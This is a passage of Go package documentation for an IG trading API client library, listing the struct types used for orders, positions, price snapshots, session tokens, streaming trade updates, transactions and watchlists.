	Expiry         string  `json:"expiry"`
	ForceOpen      bool    `json:"forceOpen"`
	GoodTillDate   string  `json:"goodTillDate,omitempty"`
	GuaranteedStop bool    `json:"guaranteedStop"`
	Level          float64 `json:"level"`
	LimitDistance  string  `json:"limitDistance,omitempty"`
	LimitLevel     string  `json:"limitLevel,omitempty"`
	Size           float64 `json:"size"` // Deal size
	StopDistance   string  `json:"stopDistance,omitempty"`
	StopLevel      string  `json:"stopLevel,omitempty"`
	TimeInForce    string  `json:"timeInForce,omitempty"` // "GOOD_TILL_CANCELLED", "GOOD_TILL_DATE"
	Type           string  `json:"type"`
}

OTCWorkingOrderRequest - request struct for placing workingorders

type Position

type Position struct {
	MarketData MarketData `json:"market"`
	Position   struct {
		ContractSize         float64 `json:"contractSize"`
		ControlledRisk       bool    `json:"controlledRisk"`
		CreatedDate          string  `json:"createdDate"`
		CreatedDateUTC       string  `json:"createdDateUTC"`
		Currency             string  `json:"currency"`
		DealID               string  `json:"dealId"`
		DealReference        string  `json:"dealReference"`
		Direction            string  `json:"direction"`
		Level                float64 `json:"level"`
		LimitLevel           float64 `json:"limitLevel"`
		Size                 float64 `json:"size"`
		StopLevel            float64 `json:"stopLevel"`
		TrailingStep         float64 `json:"trailingStep"`
		TrailingStopDistance float64 `json:"trailingStopDistance"`
	} `json:"position"`
}

Position - part of PositionsResponse

type PositionsResponse

type PositionsResponse struct {
	Positions []Position `json:"positions"`
}

PositionsResponse - Response from positions endpoint

type Price

type Price struct {
	Bid        float64  `json:"bid"`
	Ask        float64  `json:"ask"`
	LastTraded *float64 `json:"lastTraded"` // Last traded price
}

Price - Subset of PriceResponse

type PriceResponse

type PriceResponse struct {
	Prices []struct {
		SnapshotTime          string `json:"snapshotTime"`    // "2021/09/24 13:00:00"
		SnapshotTimeUTC       string `json:"snapshotTimeUTC"` // "2021-09-24T11:00:00"
		SnapshotTimeUTCParsed time.Time
		OpenPrice             Price `json:"openPrice"`
		LowPrice              Price `json:"lowPrice"`
		HighPrice             Price `json:"highPrice"`
		ClosePrice            Price `json:"closePrice"`
		LastTradedVolume      int   `json:"lastTradedVolume"`
	}
	InstrumentType string `json:"instrumentType"`
	MetaData       struct {
		Allowance struct {
			RemainingAllowance int `json:"remainingAllowance"`
			TotalAllowance     int `json:"totalAllowance"`
			AllowanceExpiry    int `json:"allowanceExpiry"`
		} `json:"allowance"`
	} `json:"metadata"`
}

PriceResponse - Response for price query

type RepeatDealingWindow

type RepeatDealingWindow struct {
	Entries []DealingWindow `json:"entries"`
}

type SessionVersion2

type SessionVersion2 struct {
	AccountType           string `json:"accountType"`      // "CFD"
	CurrencyIsoCode       string `json:"currencyIsoCode"`  // "EUR"
	CurrencySymbol        string `json:"currencySymbol"`   // "E"
	CurrentAccountId      string `json:"currentAccountId"` // "ABDGS"
	LightstreamerEndpoint string `json:"lightstreamerEndpoint"`
	ClientID              string `json:"clientId"`
	TimezoneOffset        int    `json:"timezoneOffset"` // In hours
	HasActiveDemoAccounts bool   `json:"hasActiveDemoAccounts"`
	HasActiveLiveAccounts bool   `json:"hasActiveLiveAccounts"`
	TrailingStopsEnabled  bool   `json:"trailingStopsEnabled"`
	DealingEnabled        bool   `json:"dealingEnabled"`

	// Extracted from HTTP Header
	CSTToken string
	XSTToken string
}

SessionVersion2 - IG auth response required for LightStreamer API

type Snapshot

type Snapshot struct {
	MarketStatus              string  `json:"marketStatus"`
	NetChange                 float64 `json:"netChange"`
	PercentageChange          float64 `json:"percentageChange"`
	UpdateTime                string  `json:"updateTime"`
	DelayTime                 float64 `json:"delayTime"`
	Bid                       float64 `json:"bid"`
	Offer                     float64 `json:"offer"`
	High                      float64 `json:"high"`
	Low                       float64 `json:"low"`
	DecimalPlacesFactor       float64 `json:"decimalPlacesFactor"`
	ScalingFactor             float64 `json:"scalingFactor"`
	ControlledRiskExtraSpread float64 `json:"controlledRiskExtraSpread"`
}

Snapshot - Part of MarketsResponse

type TradeUpdate

type TradeUpdate struct {
	AccountID          string
	RecvTime           time.Time
	RawUpdate          string               // The raw payload from the lightstreamer API
	Confirms           *TradeUpdateConfirms `lightstreamer:"CONFIRMS,tradeUpdateConfirms"`
	OpenPositionUpdate *TradeUpdateOPU      `lightstreamer:"OPU,tradeUpdateOPU"`
	WorkingOrderUpdate *TradeUpdateWOU      `lightstreamer:"WOU,tradeUpdateWOU"`
}

type TradeUpdateConfirms

type TradeUpdateConfirms struct {
	Date                string              `json:"date"`
	LimitDistance       *float64            `json:"limitDistance"`
	Reason              string              `json:"reason"`
	LimitLevel          *float64            `json:"limitLevel"`
	Level               *float64            `json:"level"`
	DealID              string              `json:"dealId"`
	Channel             string              `json:"channel"`
	Epic                string              `json:"epic"`
	DealReference       string              `json:"dealReference"`
	DealStatus          string              `json:"dealStatus"`
	TrailingStop        bool                `json:"trailingStop"`
	Size                *float64            `json:"size"`
	StopLevel           *float64            `json:"stopLevel"`
	StopDistance        *float64            `json:"stopDistance"`
	ProfitCurrency      *string             `json:"profitCurrency"`
	Expiry              *string             `json:"expiry"`
	Profit              *float64            `json:"profit"`
	AffectedDeals       []AffectedDeal      `json:"affectedDeals"`
	RepeatDealingWindow RepeatDealingWindow `json:"repeatDealingWindow"`
	GuaranteedStop      bool                `json:"guaranteedStop"`
	Direction           string              `json:"direction"`
	Status              *string             `json:"status"`
}

type TradeUpdateOPU

type TradeUpdateOPU struct {
	DealReference  string  `json:"dealReference"`
	DealID         string  `json:"dealId"`
	Direction      string  `json:"direction"`
	Epic           string  `json:"epic"`
	Status         string  `json:"status"`
	DealStatus     string  `json:"dealStatus"`
	Level          float64 `json:"level"`
	Size           float64 `json:"size"`
	Timestamp      string  `json:"timestamp"`
	Channel        string  `json:"channel"`
	DealIDOrigin   string  `json:"dealIdOrigin"`
	Expiry         string  `json:"expiry"`
	StopLevel      float64 `json:"stopLevel"`
	LimitLevel     float64 `json:"limitLevel"`
	GuaranteedStop bool    `json:"guaranteedStop"`
}

type TradeUpdateWOU

type TradeUpdateWOU struct {
}

type Transaction

type Transaction struct {
	CashTransaction bool   `json:"cashTransaction"`
	CloseLevel      string `json:"closeLevel"`
	Currency        string `json:"currency"`
	Date            string `json:"date"`
	DateUTC         string `json:"dateUtc"`
	InstrumentName  string `json:"instrumentName"`
	OpenDateUtc     string `json:"openDateUtc"`
	OpenLevel       string `json:"openLevel"`
	Period          string `json:"period"`
	ProfitAndLoss   string `json:"profitAndLoss"`
	Reference       string `json:"reference"`
	Size            string `json:"size"`
	TransactionType string `json:"transactionType"`
}

Transaction - Part of HistoryTransactionResponse

type UnitValueFloat

type UnitValueFloat struct {
	Unit  string  `json:"unit"`
	Value float64 `json:"value"`
}

UnitValueFloat - Part of MarketsResponse

type Watchlist

type Watchlist struct {
	DefaultSystemWatchlist bool   `json:"defaultSystemWatchlist"`
	Deleteable             bool   `json:"deleteable"`
	Editable               bool   `json:"editable"`
	ID                     string `json:"id"`
	Name                   string `json:"name"`
}

Watchlist - Response from Watchlist endpoint

type WatchlistData

type WatchlistData struct {
	Markets []MarketData `json:"markets"`
}

WatchlistData - Response from Watchlist endpoint

type WatchlistRequest

type WatchlistRequest struct {
	Epic string `json:"epic"`
}

WatchlistRequest - For adding epic to watchlist

type WatchlistsResponse

type WatchlistsResponse struct {
	Watchlists []Watchlist
}

WatchlistsResponse - Response for getting all watchlists

type WorkingOrderData

type WorkingOrderData struct {
	CreatedDate     string  `json:"createdDate"`
	CreatedDateUTC  string  `json:"createdDateUTC"`
	CurrencyCode    string  `json:"currencyCode"`
	DealID          string  `json:"dealId"`
	Direction       string  `json:"direction"` // "BUY" or "SELL"
	DMA             bool    `json:"dma"`
	Epic            string  `json:"epic"`
	GoodTillDate    string  `json:"goodTillDate"`
	GoodTillDateISO string  `json:"goodTillDateISO"`
	GuaranteedStop  bool    `json:"guaranteedStop"`
	LimitDistance   float64 `json:"limitDistance"`
	OrderLevel      float64 `json:"orderLevel"`
	OrderSize       float64 `json:"orderSize"` // Deal size
	OrderType       string  `json:"orderType"`
	StopDistance    float64 `json:"stopDistance"`
	TimeInForce     string  `json:"timeInForce,omitempty"` // "EXECUTE_AND_ELIMINATE" or "FILL_OR_KILL"
}

WorkingOrderData - Subset of OTCWorkingOrder

type WorkingOrders

type WorkingOrders struct {
	WorkingOrders []OTCWorkingOrder `json:"workingOrders"`
}

WorkingOrders - Working orders

Directories

Path Synopsis
examples
accounts command
activity command
lightstreamer command
watchlist command

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL